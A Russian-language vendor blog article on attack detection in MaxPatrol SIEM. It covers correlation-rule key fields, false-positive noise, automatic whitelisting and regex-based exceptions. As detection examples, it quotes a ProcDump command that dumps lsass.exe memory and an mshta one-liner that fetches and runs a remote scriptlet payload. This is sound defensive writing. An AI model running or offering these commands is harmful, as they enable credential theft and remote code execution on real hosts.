Друзья, всем привет! Представляем вашему вниманию серию публикаций о детектировании атак (attack detection) и о тех вызовах, c которыми сталкиваются пользователи средств защиты. Это первая статья из цикла материалов. В ней мы раскроем секреты attack detection в привязке к SIEM-решениям (системам мониторинга событий ИБ и выявления инцидентов, security information and event management), расскажем, какой вклад PT Expert Security Center (PT ESC) вносит в экспертизу MaxPatrol SIEM и как это помогает детектировать атаки, поделимся нашим опытом обработки срабатываний правил корреляции.

Роль экспертизы в технологиях

Все функции MaxPatrol SIEM и пакеты экспертизы (35 пакетов и свыше 540 правил детектирования атак) разрабатываются при непосредственном участии специалистов PT ESC. Для этого мы проводим исследования и поиск новых TTP (тактики, техники и процедуры злоумышленников) и IoA (индикаторы атак), используем TTP и IoA, выявленные при реагировании на инциденты у клиентов, на совместных киберучениях, а также при внутренних взаимодействиях с командой red team (purple teaming).

Некоторые из предлагаемых нами подходов не имеют аналогов: например, автоматический вайтлистинг (добавление в список разрешенных активностей) и шаблоны исключений (добавление в исключение по клику через карточку события). Все наши усилия направлены на то, чтобы экспертные знания Positive Technologies могли применять пользователи, изначально не имеющие глубокой экспертизы для оперативного выявления злоумышленника.

Пакеты экспертизы — это не только классические правила, выявляющие TTP атакующих, но и различные фичи, обогащения, machine learning и другие механизмы. Они помогают не только быстро обнаружить атакующего, но и оперативно определить контекст атаки для качественного и быстрого реагирования (если не основного, то одного из основных процессов SecOps). Об этом и пойдет речь далее.

Базовая терминология

Чтобы вы могли лучше понять наши подходы к детектированию атак и работе с оповещениями (алертами), для начала разберемся с базовыми терминами и названиями ключевых полей таксономии на примере MaxPatrol SIEM.

Интерактивная атака — практическая деятельность злоумышленника, отличающаяся от автоматизированных атак, в процессе которой ему необходимо, например, проанализировать внутреннюю инфраструктуру компании, получить доступы к учетным данным, предпринять шаги для горизонтального перемещения по сети.

Цель механизмов обнаружения — обнаружить интерактивную атаку, направленную на реализацию недопустимых событий.

alert.key (ключ срабатывания) — это поле или конкатенация полей таксономии, на основе которых строится атомарный детект. Для каждого правила корреляции свой ключ.

Например, правило корреляции ProcDump_Usage срабатывает, если в командной строке запускаемого процесса есть паттерны утилиты ProcDump, используемой для дампа памяти других процессов. Ключ срабатывания для него — $alert.key = C:\Windows\Temp\proc.exe -accepteula -ma lsass.exe \windows\temp\kernel.dmp. Для правила, выявляющего выполнение кода через mshta MSHTA_AWL_Bypass, alert.key — это конкатенация имени родительского процесса с командной строкой запускаемого процесса: $alert.key = cmd.exe | C:\Windows\System32\mshta.exe vbscript:close(execute("getobject(""script:https[:]//10.0.10.10/payload[.]sct"")")).

Каждое правило корреляции в MaxPatrol SIEM содержит ключевое поле таксономии, вокруг которого строятся механизмы, описанные ниже.

alert.context — другие неключевые поля, которые необходимы аналитику для полного понимания того, что произошло и на что сработало правило.

Например, полем alert.context для того же правила MSHTA_AWL_Bypass будет имя запускаемого HTA-файла.

Рассмотрим сценарий, когда вы просматриваете срабатывания правил корреляции, сгруппировав их по какому-то полю таксономии. Предположим, вы отсортировали срабатывания по correlation_name и выбрали в select указанные выше поля. Тогда можно буквально за секунды просмотреть множество срабатываний, не обращаясь к карточке события, и опытным взглядом определить интересующее.

«Шум» ложных срабатываний

Можно написать всего лишь одно правило, которое бы обнаружило большинство действий хакеров. Однако давайте ответим на вопрос: сколько из этих действий действительно будут говорить об интерактивной атаке? И тут мы сталкиваемся с главными вызовами SIEM-системам в части детектирования атак: недостаточным объемом встроенной экспертизы, ложными срабатываниями (false positive, false negative) и отсутствием эффективных механизмов работы с ними, необходимостью автоматизации повторяющихся задач. Решение этих проблем поможет быстрее и качественнее выявлять реальные инциденты.

«Шум» ложных срабатываний, независимо от класса средств защиты, — ключевая сложность для аналитиков. Специалисты сильно устают от предупреждений и в результате пропускают атаки.

Типы правил корреляции

Сколько на самом деле в типичной инфраструктуре происходит инцидентов, связанных с интерактивной атакой, — в день, в месяц, в год? Вероятность того, что конкретная конечная точка прямо сейчас подвергнется интерактивной атаке, очень мала. Тем не менее правила корреляции продолжают срабатывать. Почему так происходит?

Есть два типа правил корреляции. Первый тип — это точные правила, в логике которых заложено выявление TTP по определенным паттернам. Простой пример — выявление хакерских утилит по их названиям. Точные правила корреляции характеризуются малым количеством false positive. Но для нас страшнее то, что у них много false negative, — значит, их легко забайпасить (обойти обнаружение).

Второй тип — правила корреляций, которые характеризуются большим количеством false positive, но более важными для нас малочисленными false negative. Зачастую активность атакующих практически ничем не отличается от действий администраторов и пользователей, а также от работы легитимных программ. Она может скрываться в миллионах ежедневных событий, создаваемых журналами безопасности. Для обнаружения такой активности и существует второй тип корреляций.

Вероятность интерактивной атаки очень мала, но тем не менее она есть, поэтому необходимо быть готовым к нападению. Обрабатывать false positive гораздо сложнее, трудозатратнее и дороже. Необходимо максимально автоматизировать работу с ними и алертами в целом. Мы стараемся переключить фокус операторов с рутинных задач на проактивный поиск угроз и используем другие возможности SecOps: максимальный контекст в срабатываниях, включающий обогащенные данные из внутренних или внешних сервисов, в том числе и от machine learning, автоматизацию работы с механизмами вайтлистинга, опять же включая применение ML, удобные и эффективные механизмы threat hunting.

Рассмотрим решения, которые способны максимально сократить число false positive и false negative и помочь операторам быстро определять, с чем они работают: инцидентом или false positive.

Автоматический вайтлистинг

Помните мысль о том, что количество интерактивных атак в вашей инфраструктуре очень мало или стремится к нулю и что ручная обработка false positive трудозатратна и неинтересна? Предлагаем теперь отталкиваться от такой парадигмы: любое второе, третье и последующее (что вам ближе) срабатывание правила корреляции с повторяющимся alert.key априори считается false positive — если явно не указать на необходимость его повторений в будущем.

При срабатывании правила корреляции паттерн срабатывания, переменная $alert.key, заносится во временный табличный список Common_whitelist_auto_swap. В нем есть счетчик, определяющий число срабатываний правила с $alert.key. Если срабатывание произошло минимум два раза (порог можно задать любой), то оно вместе с ключом заносится в табличный список Common_whitelist_auto в столбец specific_value. Далее в правилах сравниваются значения $alert.key и $specific_value, и если они совпадают, то срабатывания не происходит (оно «вайтлистится»). Минус этого подхода: если оператор не увидит срабатывание правила корреляции и не обработает алерт, то последующее такое срабатывание уже не произойдет (но в любом случае в зависимости от порога, заданного во временном табличном списке, несколько срабатываний будет).

При таком подходе оператору не нужно ничего делать с алертом (кроме кейсов, когда срабатывание — действительно инцидент и его необходимо обработать). Все само будет «вайтлиститься», если встретится повторяющийся $alert.key (на рис. 8 воркфлоу работы с вайлистингом алертов).

Шаблоны

Шаблоны — механизм, при котором в UI из карточки алерта по клику возможно добавить любые поля или их конкатенацию в табличные списки для вайтлистинга, блэклистинга, IoC и т. д. Он незаменим в случаях, когда вам нужно «завайтлистить» конкатенацию полей, не предусмотренных в $alert.key, или любое другое поле таксономии. В шаблонах прописаны поля таксономии для каждого типа событий, участвующих в корреляциях, а в правилах корреляции уже заложены механизмы для вайтлистинга по добавляемым полям. Этот механизм доступен пользователям MaxPatrol SIEM.

Common_whitelist_regex

Вышеописанные исключения подходят только для полного совпадения полей таксономии. «И как же быть, если нам нужно „завайтлистить“ по регулярным выражениям?» — спросите вы. Вайтлистинг и блэклистинг по регулярным выражениям предназначены для тех кейсов, когда в повторяющемся срабатывании поле таксономии, которое вы хотите исключить, постоянно меняется. Механизм использует табличные списки Common_whitelist_regex и Common_blacklist_regex: в них прописываются регулярные выражения, которые необходимо исключить или добавить в черный список. Такой механизм также уже присутствует в MaxPatrol SIEM, и вы можете им воспользоваться.

Тем не менее операторам приходится постоянно анализировать срабатывания, которые нельзя автоматически «завайтлистить», вручную генерировать регулярные выражения и добавлять их в табличный список. Это отнимает много времени, которое можно потратить на threat hunting или исследование новых угроз.

Автоматическая генерация регулярных выражений

Применение machine learning (а именно автоматической генерации регулярных выражений на основе поиска похожих событий) совместно с другими механизмами вайтлистинга помогает разгрузить аналитиков за счет автоматизации рутинных задач.

А теперь рассмотрим схему обработки срабатывающего правила корреляции.

Мы держим руку на пульсе, отслеживаем актуальные тренды в области детектирования атак, постоянно совершенствуем средства защиты и разрабатываем новые фичи. Наша задача — облегчить жизнь пользователям, которые ежедневно мониторят события ИБ.

Спасибо, что дочитали до конца, и надеемся, что этот материал и наш опыт помогут вам еще лучше и быстрее выявлять плохих парней у себя в инфраструктуре. Забегая вперед, анонсирую следующую тему статьи. Мы расскажем, как построение цепочек запускаемых процессов помогает выявлять атакующих в сети. Продолжение следует ????

Автор: Алексей Потапов, специалист отдела экспертных сервисов и развития, PT Expert Security Center